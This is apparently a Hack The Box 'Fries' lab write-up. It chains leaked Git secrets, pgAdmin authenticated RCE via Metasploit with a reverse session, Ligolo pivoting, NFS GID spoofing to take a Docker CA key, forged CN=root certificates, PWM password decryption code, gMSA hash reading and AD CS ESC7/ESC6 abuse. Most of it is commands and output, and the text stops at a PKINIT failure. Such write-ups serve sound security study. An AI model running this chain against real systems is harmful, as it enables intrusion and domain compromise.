HTB Fries writeup
A technical writeup for educational purposes, covering only an authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”From outside, Fries appeared to expose nginx on Ubuntu and Windows DC services through the same IP. The initial credentials did not work for AD, only Gitea and pgAdmin. I recovered PostgreSQL credentials from Gitea history and used pgAdmin 9.1 authenticated RCE to enter the pgAdmin container. Its environment variables contained a password for svc that also worked over SSH. I moved to the Ubuntu host and reached the internal network through Ligolo.
Inside the network, I obtained the Docker TLS CA private key over NFS and created a client certificate with CN=root to match the Docker authorization plugin policy. I mounted the host through the Docker API and gained root on Ubuntu, then decrypted the LDAP proxy password for svc_infra from a PWM configuration file.
On the AD side, svc_infra could read the gMSA password for gMSA_CA_prod$. Since gMSA_CA_prod$ had ManageCa over the CA, I enabled EDITF_ATTRIBUTESUBJECTALTNAME2 through an AD CS configuration change. Ordinary Kerberos PKINIT failed with a SID mismatch, but using the same PFX with LDAPS Schannel ldap-shell allowed an LDAP bind as FRIES\Administrator. I then added gMSA_CA_prod$ to Administrators, logged in again through WinRM, and obtained the root flag from the Administrator desktop.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Fries |
| Platform | Hack The Box |
| OS | Windows / Ubuntu / Docker |
| Difficulty | Hard |
Attack Chain
Section titled “Attack Chain”nmap: AD services, nginx, SSH, PWM certificate names | | Initial credential works in Gitea and pgAdmin, not AD/SSH/WinRM vGitea history -> db-mgmt05.fries.htb + PostgreSQL credential | | pgAdmin 9.1 authenticated RCE (CVE-2025-2945) vpgAdmin container -> svc password -> SSH to Ubuntu host | | Ligolo route to 192.168.100.0/24 and Docker bridges vNFS export -> Docker TLS CA private key | | Authorization policy permits client certificate with CN=root vDocker API -> mount host / -> Ubuntu root | | Decrypt LDAP proxy password from PWM configuration vsvc_infra -> read gMSA password -> gMSA_CA_prod$ NTLM hash | | ManageCa enables EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6) vUser template -> administrator@fries.htb PFX | | PKINIT fails on SID mismatch; LDAPS Schannel ldap-shell succeeds vFRIES\\Administrator LDAP bind | | Add gMSA_CA_prod$ to Administrators; reconnect with WinRM vAdministrator desktop / root flagTarget Details
Section titled “Target Details”| Item | Value |
|---|---|
| Domain | fries.htb |
| DC | DC01.fries.htb / 192.168.100.1 |
| Web Host | 192.168.100.2 |
| Docker Bridge | 172.18.0.1, 172.17.0.1 |
| Initial Credential | d.cooper@fries.htb:D4LE11maan!! |
Add at least the following entries to /etc/hosts.
10.129.244.72 fries.htb dc01.fries.htb pwm.fries.htb code.fries.htb db-mgmt05.fries.htbAfter reaching the internal network through Ligolo, I could address the DC directly as 192.168.100.1.
Reconnaissance
Section titled “Reconnaissance”I first checked all ports.
nmap -sS -A -p- --min-rate 10000 10.129.244.72 -oN fries.nmapThe important results are shown below.
22/tcp open ssh OpenSSH 8.9p1 Ubuntu53/tcp open domain Simple DNS Plus80/tcp open http nginx 1.18.088/tcp open kerberos-sec Microsoft Windows Kerberos389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fries.htb)443/tcp open ssl/http nginx 1.18.0445/tcp open microsoft-ds?636/tcp open ssl/ldap3268/tcp open ldap3269/tcp open ssl/ldap5985/tcp open http Microsoft HTTPAPI httpd 2.0Service Info: Host: DC01clock-skew: +7h00m00sThe certificate on port 443 revealed pwm.fries.htb.
ssl-cert: Subject: commonName=pwm.fries.htbThis first scan mixed Linux and Windows information on one external IP. Ports 80/443/22 belonged to Ubuntu/nginx/SSH, while 88/389/445/5985 were Windows DC services. I therefore treated the external IP as a route to both Ubuntu and the DC through NAT or a proxy, rather than assuming a single host. The seven-hour clock-skew would matter later for Kerberos and certificate authentication.
The initial credentials failed against AD services, suggesting they were intended for the web applications.
nxc ldap 10.129.244.72 -u d.cooper@fries.htb -p 'D4LE11maan!!'nxc winrm dc01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'nxc ssh dc01.fries.htb -u d.cooper@fries.htb -p 'D4LE11maan!!'LDAP [-] fries.htb\d.cooper@fries.htb:D4LE11maan!!WINRM [-] fries.htb\d.cooper@fries.htb:D4LE11maan!!SSH [-] d.cooper@fries.htb:D4LE11maan!!I searched for vhosts.
ffuf -u http://fries.htb \ -H "Host: FUZZ.fries.htb" \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ -accode [Status: 200, Size: 13593, Words: 1048, Lines: 272]Vhost fuzzing changes only the HTTP Host header for the same IP and port to find virtual hosts. nginx often proxies different applications according to server_name, so a matching Host header can reveal an application even if its name is absent from DNS. Here, code.fries.htb led to Gitea.
Gitea And pgAdmin
Section titled “Gitea And pgAdmin”http://code.fries.htb/ was Gitea. The initial credentials worked for login and HTTP clone. The web login name was d.cooper@fries.htb, but I used dale to clone the repository.
git clone http://code.fries.htb/dale/fries.htb.gitThe diff revealed db-mgmt05.fries.htb.
cd fries.htbgit diff HEAD~1The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires mod v3 access, contact Dylan, Mike or Dale)The backend database can be managed from `http://db-mgmt05.fries.htb`. (This requires infra access, contact Dylan, Mike or Dale).env had been deleted, but remained readable in history.
git log --stat --all -- .envgit show 3e8ca66c0de6388ac663d4c1ea56ad9d309fda3b^:.envDATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_dbSECRET_KEY=y0st528wn1idjk3b9aGit retains objects from past commits even after a file is deleted. Although .env was absent from the current tree, its contents could be recovered by referencing the parent of the deletion commit. Outside a CTF as well, a secret once committed should be treated as exposed until it is removed from history.
Adding db-mgmt05.fries.htb to hosts made pgAdmin reachable, and the initial credentials worked there.
pgAdmin 4Version 9.1Current User d.cooper@fries.htbpgAdmin 9.1 was affected by CVE-2025-2945. I used a Metasploit module.
msfconsolesearch CVE-2025-2945use exploit/multi/http/pgadmin_query_tool_authenticatedrun verbose=true \ db_name=ps_db \ db_pass=PsqLR00tpaSS11 \ db_user=root \ password=D4LE11maan!! \ rhosts=10.129.244.72 \ username=d.cooper@fries.htb \ vhost=db-mgmt05.fries.htb \ lhost=<tun0-ip> \ lport=4444[+] The target appears to be vulnerable. pgAdmin version 9.1.0 is affected[+] Successfully authenticated to pgAdmin[*] Meterpreter session 1 openedThe exploit required a pgAdmin login and access to a registered database. The PostgreSQL DB_NAME, DB_USER, and DB_PASS recovered from Gitea were needed here. The resulting shell had the permissions of the container running pgAdmin, not of the Ubuntu host or DC. From then on, I distinguished whether each secret belonged to the host, container, or AD.
I inspected the container.
meterpreter > sysinfometerpreter > getuidmeterpreter > run post/linux/gather/checkcontainermeterpreter > shellidenvComputer : cb46692a4590Server username: pgadmin[+] This appears to be a 'Docker' containeruid=5050(pgadmin) gid=0(root) groups=0(root)PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!PGADMIN_DEFAULT_EMAIL=admin@fries.htbDocker application startup passwords and endpoints can remain in environment variables. PGADMIN_DEFAULT_PASSWORD was for the initial pgAdmin administrator, but was also reused by the Linux local user svc here. A container secret will not necessarily work on the host or another service, so I tested reuse across SMB, LDAP, SSH, and other protocols.
I derived candidate users from the PWM error message, web page, and Gitea.
cat > users.txt <<'EOF'adminsvc_infrasvcadministratordaled.coopere.thompsond.rodriguezs.chenEOFI tried the password from pgAdmin’s environment. SMB failed, but SSH accepted it for svc.
netexec smb fries.htb -u users.txt -p 'Friesf00Ds2025!!'netexec ssh fries.htb -u users.txt -p 'Friesf00Ds2025!!' --continue-on-successSMB [-] fries.htb\svc:Friesf00Ds2025!! STATUS_LOGON_FAILURESSH [+] svc:Friesf00Ds2025!! Linux - Shell access!Web Host And Internal Network
Section titled “Web Host And Internal Network”I entered the Ubuntu host over SSH.
ssh svc@fries.htbidss -antip addr showuid=1000(svc) gid=1000(svc) groups=1000(svc)IPv4 address for eth0: 192.168.100.2127.0.0.1:2376 LISTEN127.0.0.1:3000 LISTEN127.0.0.1:5050 LISTEN127.0.0.1:5000 LISTEN0.0.0.0:2049 LISTEN0.0.0.0:8443 LISTENThe nginx configuration showed that each vhost proxied to a local service.
cat /etc/nginx/sites-enabled/*fries.htb -> http://127.0.0.1:5000db-mgmt05.fries.htb -> http://127.0.0.1:5050code.fries.htb -> http://127.0.0.1:3000pwm.fries.htb -> https://127.0.0.1:8443The output from ss and the nginx configuration showed that many externally published HTTP services were confined to localhost or Docker bridges on the Ubuntu host. SSH access to Ubuntu made the 127.0.0.1:2376 Docker API and the internal 192.168.100.0/24 network possible next targets, although they were not directly reachable from outside.
I used Ligolo to route into the internal network and created a tun interface on the attacking machine.
sudo ip tuntap add user $(whoami) mode tun ligolosudo ip link set ligolo upsudo ./proxy -selfcert -laddr 0.0.0.0:11601Ligolo-ng establishes an outbound connection from an agent on the target to a proxy on the attacking machine, then creates an L3 tunnel over it. Adding routes to the ligolo tun interface on the attacking machine lets ordinary nmap, netexec, and certipy commands target internal IPs directly. I ran the proxy with sudo here because it managed the tun interface and route.
I placed the agent on the target and connected it.
chmod +x /tmp/agent/tmp/agent -connect <tun0-ip>:11601 -ignore-certI added the route in the Ligolo console.
sessionautorouteroute_add --name <ligolo-interface> --route 240.0.0.1/32240.0.0.1/32 is a Ligolo magic IP used to reach the target’s 127.0.0.1. The Docker API listened on the Ubuntu host’s 127.0.0.1:2376, so this mattered for reaching a localhost-only service from outside.
I checked connectivity.
ping 192.168.100.1ping 172.18.0.1ping 172.17.0.1I checked the internal DC.
nmap -sS -A -p- --min-rate 10000 192.168.100.1 -oN dc01.nmap53/tcp open domain Simple DNS Plus135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds?464/tcp open kpasswd5?3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAPService Info: Host: DC01; OS: WindowsI checked the Docker bridges as well.
nmap -sS -A -p- --min-rate 10000 172.18.0.1 -oN docker.nmap22/tcp open ssh80/tcp open http nginx111/tcp open rpcbind2049/tcp open nfs_acl3000/tcp open http Gitea8443/tcp open ssl/http Apache Tomcat / PWMDocker mTLS
Section titled “Docker mTLS”I examined the NFS export.
showmount -e 192.168.100.2sudo mkdir -p /mnt/friessudo mount -t nfs -o vers=3,nolock 192.168.100.2:/srv/web.fries.htb /mnt/friesls -la /mnt/friesExport list for 192.168.100.2:/srv/web.fries.htb *
drwxrwx--- 2 root 59605603 4096 certsdrwxrwxrwx 2 root root 4096 shareddrwxr----- 5 svc svc 4096 webrootNFS evaluates file permissions using numeric UIDs and GIDs. A directory shown as root:59605603 on the server may be readable to a client in a group with the same GID. This is an NFS export and UNIX permissions issue, separate from Kerberos or LDAP authentication.
Only the group with GID 59605603 could read certs. SSSD on the target resolved it to infra managers.
getent group 59605603id d.cooperid m.hanniganid d.wilsoninfra managers:*:59605603:d.cooper,m.hannigan,d.wilsonuid=59602614(d.cooper) groups=59600513(domain users),59605603(infra managers)Creating a group with the same GID on the attacking machine made certs readable over NFS.
mkdir certssudo groupadd -g 59605603 infra_managerssudo usermod -aG infra_managers <attacker_user>sudo bash -c 'sg infra_managers -c "cp /mnt/fries/certs/* ./certs/"'ls certsca-key.pem ca.pem server-cert.pem server.csr server-key.pem server-openssl.cnfThe obtained ca-key.pem was the private key of a CA trusted by the Docker daemon. Docker TLS verification checked whether the client presented a certificate signed by this CA. The CA private key therefore allowed creation of client certificates with arbitrary Common Names. In this environment, however, an authorization plugin made an additional decision after TLS authentication.
The Docker daemon required a TLS client certificate.
ps auxww | grep dockerd/usr/bin/dockerd ... --authorization-plugin=authz-broker --tlsverify \ --tlscacert=/etc/docker/certs/ca.pem \ --tlscert=/etc/docker/certs/server-cert.pem \ --tlskey=/etc/docker/certs/server-key.pem \ -H=127.0.0.1:2376It rejected requests without one.
openssl s_client -connect 240.0.0.1:2376Acceptable client certificate CA namesCN=DockerCAtlsv13 alert certificate requiredA certificate with an arbitrary CN passed Docker TLS authentication, but the authorization plugin denied it.
openssl genrsa -out client-key.pem 2048openssl req -new -key client-key.pem -out client.csropenssl x509 -req \ -in client.csr \ -CA ca.pem \ -CAkey ca-key.pem \ -CAcreateserial \ -out client-cert.pemI first set the CSR Common Name to pwn.com.
alias DOCKER="docker \ --tlsverify \ --tlscacert=ca.pem \ --tlscert=client-cert.pem \ --tlskey=client-key.pem \ -H tcp://127.0.0.1:2376"
DOCKER versionError response from daemon: authorization denied by plugin authz-broker:no policy applied (user: 'pwn.com' action: 'docker_version')Docker daemon authentication and authorization were separate. mTLS proved possession of a certificate signed by DockerCA; the authorization plugin treated the certificate subject’s CN as a user and permitted only Docker actions allowed for that user. CN=pwn.com authenticated, but was denied because it did not appear in the policy.
I read the authz-broker policy.
find / -iname '*authz*' -o -iname '*broker*' 2>/dev/nullls /var/lib/authz-brokercat /var/lib/authz-broker/policy.json/var/lib/authz-brokerpolicy.json{"name":"policy_1", "users": ["svc"], "actions": ["container_list", "container_logs"]}{"name":"policy_1", "users": ["sysadm"], "actions": ["container"], "readonly":true}{"name":"policy_2", "users": ["root"], "actions": [""]}The Docker authorization plugin used the client certificate CN as the user. I recreated the certificate with CN=root.
openssl req -new -key client-key.pem -out client.csropenssl x509 -req \ -in client.csr \ -CA ca.pem \ -CAkey ca-key.pem \ -CAcreateserial \ -out client-cert.pemI set the CSR Common Name to root, which allowed use of the Docker API.
DOCKER versionDOCKER container lsServer: Engine: Version: 28.2.2
CONTAINER ID IMAGE NAMESf427ecaa3bdd pwm/pwm-webapp:latest pwmcb46692a4590 dpage/pgadmin4:9.1.0 pgadmin4bfe752a26695 fries-web web858fdf51af59 postgres:16 postgresb916aad508e2 gitea/gitea:1.22.6 giteaI mounted the host / and read it as root.
DOCKER run --rm -it -v /:/global fries-web:latest bashcd /globalls rootcat root/user.txtscripts snap user.txt[REDACTED]PWM Config
Section titled “PWM Config”After obtaining the user flag, I searched across containers through the Docker API for artifacts. The goal was to find a bind account, database connection details, application settings, and plaintext or decryptable secrets useful for the next AD step.
I first inspected container configurations, environment variables, mounts, and networks.
DOCKER inspect pwm pgadmin4 web postgres giteaDOCKER exec -it <container> envDOCKER exec -it <container> shInside the containers, I searched broadly for configuration files, environment files, databases, and JSON/YAML.
find / -iname '*config*' -o -iname '*.env' -o -iname '*secret*' -o -iname '*password*' 2>/dev/nullfind / -name '*.db' -o -name '*.sqlite' -o -name '*.json' -o -name '*.yml' 2>/dev/nullThe likely targets were:
gitea /data/gitea/conf/app.ini, /data/git, DB connection detailspgadmin /var/lib/pgadmin, pgadmin4.db, servers.jsonpwm /config, PwmConfiguration.xml, LDAP bind informationweb /app, .env, config.py, DB connection detailspostgres DB names, users, tables, and dumpsI also extracted and reviewed Gitea’s app.ini, but PWM’s LDAP proxy configuration was what ultimately led to the AD side.
DOCKER cp gitea:/data/gitea/conf/app.ini ./DOCKER cp pwm:/config/PwmConfiguration.xml ./The following focuses on the important values in the extracted PwmConfiguration.xml.
<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property><setting key="ldap.proxy.username" syntax="STRING"> <value>CN=svc_infra,CN=Users,DC=fries,DC=htb</value></setting><setting key="ldap.proxy.password" syntax="PASSWORD"> <value>ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c=</value></setting><setting key="ldap.serverUrls" syntax="STRING_ARRAY"> <value>ldaps://dc01.fries.htb:636</value></setting>The configuration password hash used bcrypt.
hashcat -m 3200 -a 0 \ '$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG' \ /usr/share/wordlists/rockyou.txt$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG:rockon!Status...........: Crackedrockon! worked for the Configuration Manager at https://pwm.fries.htb, but LDAP was not functioning because of a certificate trust store mismatch.
Unable to bind to ldaps://dc01.fries.htb:636 as CN=svc_infra,CN=Users,DC=fries,DC=htbserver certificate does not match a certificate in the PWM configuration trust storePWM’s ENC-PW: values can be decrypted by hashing createTime + "StoredConfiguration" with SHA1, taking the first 16 bytes as an AES key, and using AES/ECB/PKCS5Padding. The modifyTime for ldap.proxy.password was 2025-06-01T02:07:43Z.
This is minimal Java code for reproduction.
import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;import java.util.Arrays;import java.util.Base64;
public final class PwmEncPwDecrypt { public static void main(String[] args) throws Exception { String createTime = "2025-06-01T02:07:43Z"; String enc = "ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4ZWjp9XSJ+eB0lEG8bLpd45hP8XAfY8abvgQJm3ztQ0c="; String payload = enc.substring("ENC-PW:".length()); byte[] ciphertext = Base64.getDecoder().decode(payload); byte[] material = (createTime + "StoredConfiguration").getBytes(StandardCharsets.ISO_8859_1); byte[] sha1 = MessageDigest.getInstance("SHA-1").digest(material); byte[] key = Arrays.copyOfRange(sha1, 0, 16);
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key, "AES")); String json = new String(cipher.doFinal(ciphertext), StandardCharsets.UTF_8); System.out.println(json); }}javac PwmEncPwDecrypt.javajava PwmEncPwDecrypt{"salt":"v4DuLvUwLbqLOMq21Kgh1DD3LoMvvQqz","value":"m6tneOMAh5p0wQ0d"}I obtained AD credentials for svc_infra.
svc_infra:m6tneOMAh5p0wQ0dI verified them.
cat > password.txt <<'EOF'D4LE11maan!PsqLR00tpaSS11Friesf00Ds2025!!rockon!m6tneOMAh5p0wQ0dEOF
netexec ldap dc01.fries.htb \ -u users.txt \ -p password.txt \ -d fries.htb \ --continue-on-successLDAP [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0dActive Directory
Section titled “Active Directory”With LDAP authentication working as svc_infra, I moved to enumeration on the Windows side. I looked for local and domain groups relevant to logon, computer accounts, certificate service rights, and the SID later needed for certificate authentication.
I first checked groups and computers over LDAP.
netexec ldap dc01.fries.htb \ -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ --groups --computersRemote Management Users 13Service Account Managers 10Infra Managers 3DC01$gMSA_CA_prod$WEB$The many members of Remote Management Users suggested possible WinRM access. Infra Managers corresponded to Linux GID 59605603 from the NFS step, supporting that SSSD resolved the AD group on Ubuntu. The computer list also included gMSA_CA_prod$ alongside DC01$ and WEB$. Its name suggested a gMSA for CA administration, making it a priority for later BloodHound review.
Next, I checked shares, users, and RIDs over SMB.
netexec smb dc01.fries.htb \ -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ --shares --users --rid-bruteShare PermissionsIPC$ READNETLOGON READSYSVOL READ
500: FRIES\Administrator1104: FRIES\gMSA_CA_prod$3601: FRIES\svc_infraNETLOGON and SYSVOL were readable, but yielded no secrets directly. The RID brute-force results mattered later: Administrator was RID 500 and svc_infra was RID 3601. The Security Extension SID in the certificate issued after ESC6 ended in ...-3601, showing that the certificate was strongly bound to requester svc_infra, not Administrator.
Fragments of group and SID information could obscure the attack path, so I collected BloodHound data.
rusthound-ce -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ -c All \ --zipThe important discovery was as follows.
svc_infra -> gMSA_CA_prod$ : ReadGMSAPasswordsvc_infra -> Authenticated Users -> fries-DC01-CA : EnrollThis connected the path to the Windows side. ReadGMSAPassword permits reading the target gMSA’s managed password BLOB. NetExec could interpret it and output an NTLM hash, enabling pass-the-hash as gMSA_CA_prod$ without knowing its plaintext password. svc_infra could also enroll with the CA as an Authenticated Users member, satisfying a prerequisite for AD CS enumeration and certificate requests.
I read the gMSA password.
netexec ldap dc01.fries.htb \ -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ --gmsaAccount: gMSA_CA_prod$NTLM: 5710cd97225e920cdc6badc919fc8c51PrincipalsAllowedToReadPassword: svc_infraThis hash was the main artifact for trying CA operations and WinRM login as gMSA_CA_prod$. In particular, the name gMSA_CA_prod$ and the later Certipy output indicated CA administration rights, so this hash was the entry point to the AD CS attack.
I checked MachineAccountQuota as well.
netexec ldap dc01.fries.htb \ -d fries.htb \ -u svc_infra \ -p 'm6tneOMAh5p0wQ0d' \ -M maqMachineAccountQuota: 0With MAQ at 0, an ordinary user could not create a new computer account to use the Domain Computers Enroll permission. I therefore focused on the existing rights of svc_infra and gMSA_CA_prod$ rather than the Machine template.
In AD CS, I considered CA rights separately from template Enroll permissions. ManageCa or ManageCertificates on a CA is powerful, but does not alone permit enrollment in any template. Conversely, an enrollable template does not enable Administrator impersonation unless SAN or SID values can be controlled.
I enumerated the CA and templates as svc_infra.
certipy-ad find \ -u 'svc_infra@fries.htb' \ -p 'm6tneOMAh5p0wQ0d' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -stdoutThe important CA output follows.
CA Name : fries-DC01-CADNS Name : DC01.fries.htbUser Specified SAN : DisabledRequest Disposition : IssueEnforce Encryption for Requests : EnabledAccess Rights ManageCa : FRIES.HTB\gMSA_CA_prod FRIES.HTB\Domain Admins FRIES.HTB\Enterprise Admins FRIES.HTB\Administrators Enroll : FRIES.HTB\gMSA_CA_prod FRIES.HTB\Domain Users FRIES.HTB\Domain Computers FRIES.HTB\Authenticated UsersThis output showed that gMSA_CA_prod$ held ManageCa over the CA and that authenticated users, including svc_infra, could Enroll with the CA. However, User Specified SAN : Disabled meant that request attributes could not yet inject a SAN as in ESC6. Whether I could change this became the next decision point.
The -vulnerable view as svc_infra found no vulnerable template.
certipy-ad find \ -u 'svc_infra@fries.htb' \ -p 'm6tneOMAh5p0wQ0d' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -vulnerable \ -stdout[!] Vulnerabilities ESC7 : User has dangerous permissions.Certificate Templates : [!] Could not find any certificate templatesgMSA_CA_prod$ was reported as ESC7 because it held ManageCa over the CA.
certipy-ad find \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -vulnerable \ -stdout[+] User ACL Principals : FRIES.HTB\gMSA_CA_prod[!] Vulnerabilities ESC7 : User has dangerous permissions.ESC7 Attempt
Section titled “ESC7 Attempt”ESC7 classifies abuse of dangerous rights on the CA object rather than a certificate template. Typical examples include ManageCa and ManageCertificates, which can affect adding officers, enabling templates, and issuing pending or denied requests. CA rights alone do not guarantee every step: the requester’s template Enroll rights, any Deny ACE in the CA ACL, and the right evaluated for issuance all matter.
I tried adding an officer and enabling SubCA according to Certipy’s ESC7 procedure.
certipy-ad ca \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -add-officer 'gMSA_CA_prod$'
certipy-ad ca \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -add-officer 'svc_infra'
certipy-ad ca \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -enable-template 'SubCA'[*] Successfully added officer 'gMSA_CA_prod$' on 'fries-DC01-CA'[*] Successfully added officer 'svc_infra' on 'fries-DC01-CA'[*] Successfully enabled 'SubCA' on 'fries-DC01-CA'I checked Administrator’s SID.
lookupsid.py 'fries.htb/svc_infra:m6tneOMAh5p0wQ0d@dc01.fries.htb'Domain SID is: S-1-5-21-858338346-3861030516-3975240472500: FRIES\Administrator1104: FRIES\gMSA_CA_prod$3601: FRIES\svc_infraI made a request specifying Administrator through SubCA.
certipy-ad req \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -template 'SubCA' \ -upn 'administrator@fries.htb' \ -sid 'S-1-5-21-858338346-3861030516-3975240472-500'[*] Request ID is 43[-] CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll[*] Saving private key to '43.key'The usual ESC7 path would issue this denied request with manager or officer rights. That failed here.
certipy-ad ca \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -issue-request 43 \ -debug[-] Access denied: Insufficient permissions to issue certificateretrieve also left it denied by the template.
certipy-ad req \ -u 'gMSA_CA_prod$@fries.htb' \ -hashes ':5710cd97225e920cdc6badc919fc8c51' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -retrieve 43 \ -debug[-] Got error while retrieving certificate:code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIEDI entered WinRM as gMSA_CA_prod$ and checked the CA ACL.
uv run evil-winrm-py \ -i dc01.fries.htb \ -u 'gMSA_CA_prod$' \ -H 5710cd97225e920cdc6badc919fc8c51The following Get-CertificationAuthority, Get-CertificationAuthorityAcl, Get-PendingRequest, and Approve-CertificateRequest commands are PSPKI cmdlets. Import the module first if it is not loaded in the WinRM session.
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc01.fries.htb | Get-CertificationAuthorityAcl | select -expand AccessThe important finding was a mix of Deny and Allow entries.
Rights : ManageCertificatesAccessControlType : DenyIdentityReference : FRIES\gMSA_CA_prod$
Rights : ManageCA, ManageCertificates, EnrollAccessControlType : AllowIdentityReference : FRIES\gMSA_CA_prod$
Rights : ManageCertificatesAccessControlType : AllowIdentityReference : FRIES\svc_infraPSPKI’s Approve-CertificateRequest returned without output, but certutil -resubmit was denied.
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc01.fries.htb | Get-PendingRequest -RequestID 43 | Approve-CertificateRequest
certutil -config "DC01.fries.htb\fries-DC01-CA" -resubmit 43certutil -config "DC01\fries-DC01-CA" -resubmit 43CertUtil: -resubmit command FAILED: 0x80070005 (WIN32: 5 ERROR_ACCESS_DENIED)CertUtil: Access is denied.I therefore treated the ordinary ESC7 SubCA issuance path as a dead end.
ESC6 Configuration
Section titled “ESC6 Configuration”ESC6 uses the CA policy flag EDITF_ATTRIBUTESUBJECTALTNAME2 to accept SAN values from certificate request attributes. This is a policy module setting for the whole CA, not just a template setting, so changing it requires restarting certsvc. Even without EnrolleeSuppliesSubject on the User template, the CA can then accept a SAN from request attributes, creating a way to insert a UPN.
Trying to enable EDITF_ATTRIBUTESUBJECTALTNAME2 with certutil -setreg failed because administrator elevation was required.
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2Administrator permissions are needed to use the selected options.CertUtil: The requested operation requires elevation.However, SetConfigEntry worked through the CertificateAuthority.Admin COM object. Calling this COM object was not a PSPKI cmdlet.
$ConfigString = "DC01.fries.htb\fries-DC01-CA"$Node = "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy"$EDITF_ATTRIBUTESUBJECTALTNAME2 = 0x00040000$CertAdmin = New-Object -ComObject CertificateAuthority.Admin$Flags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")"{0:X}" -f $Flags
$CertAdmin.SetConfigEntry( $ConfigString, $Node, "EditFlags", ($Flags -bor $EDITF_ATTRIBUTESUBJECTALTNAME2))
$NewFlags = $CertAdmin.GetConfigEntry($ConfigString, $Node, "EditFlags")"{0:X}" -f $NewFlagsRestart-Service certsvc11014E15014EBecause clock skew affects Kerberos and certificate authentication, I synchronized the attacking machine with the DC.
sudo systemctl stop systemd-timesyncdsudo ntpdate dc01.fries.htbtime stepped by 25201.097517Domain Users could Enroll in the User template, which also had Client Authentication. After changing the ESC6 CA setting, I inserted Administrator’s UPN and SID as request attributes.
I used the User template because svc_infra, as a member of Domain Users, could Enroll and the resulting certificate would have the Client Authentication EKU. A certificate without that EKU is less suitable for AD user authentication. When the template or CA includes szOID_NTDS_CA_SECURITY_EXT, however, it also places the requester’s objectSid in the certificate, affecting subsequent strong certificate mapping.
certipy-ad req \ -u 'svc_infra@fries.htb' \ -p 'm6tneOMAh5p0wQ0d' \ -dc-ip 192.168.100.1 \ -target 192.168.100.1 \ -ns 192.168.100.1 \ -ca 'fries-DC01-CA' \ -template User \ -upn administrator@fries.htb \ -sid 'S-1-5-21-858338346-3861030516-3975240472-500'[*] Request ID is 45[*] Successfully requested certificate[*] Got certificate with UPN 'administrator@fries.htb'[!] Conflicting SIDs found in certificate:[!] SAN URL: 'S-1-5-21-858338346-3861030516-3975240472-500'[!] Security Extension: 'S-1-5-21-858338346-3861030516-3975240472-3601'[!] Windows will use the security extension SID for authentication purposes[*] Saving certificate and private key to 'administrator.pfx'Ordinary PKINIT failed. This was an important decision point.
